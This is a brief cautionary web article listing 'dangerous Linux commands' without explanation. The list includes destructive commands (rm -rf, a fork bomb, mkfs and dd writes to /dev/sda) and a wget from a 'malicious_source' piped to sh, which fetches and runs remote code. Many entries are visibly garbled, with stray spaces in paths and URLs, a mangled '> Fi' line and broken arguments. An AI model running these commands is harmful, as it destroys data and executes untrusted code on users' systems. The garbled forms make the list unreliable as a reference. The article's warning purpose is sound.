Most Dangerous Linux Commands You Should Never Execute

Most Dangerous Linux Commands You Should Never Execute






Just like on Windows, Linux also has lots of terminal commands to carry out different operations. However, unlike Windows, Linux won’t ask you for confirmation if you run any command that could damage your system. So, we recommend you to not use these commands at any cost.




Here are those commands:

• rm -rf
• : () {: |: &} ;:
• command> / dev / sda
• mv directory / dev / null
• wget http: // malicious_source -O | sh
• Mkfs.ext3 / dev / sda
• > Fi
• ^ foo ^ bar
• dd if = / dev / random of = / dev / sda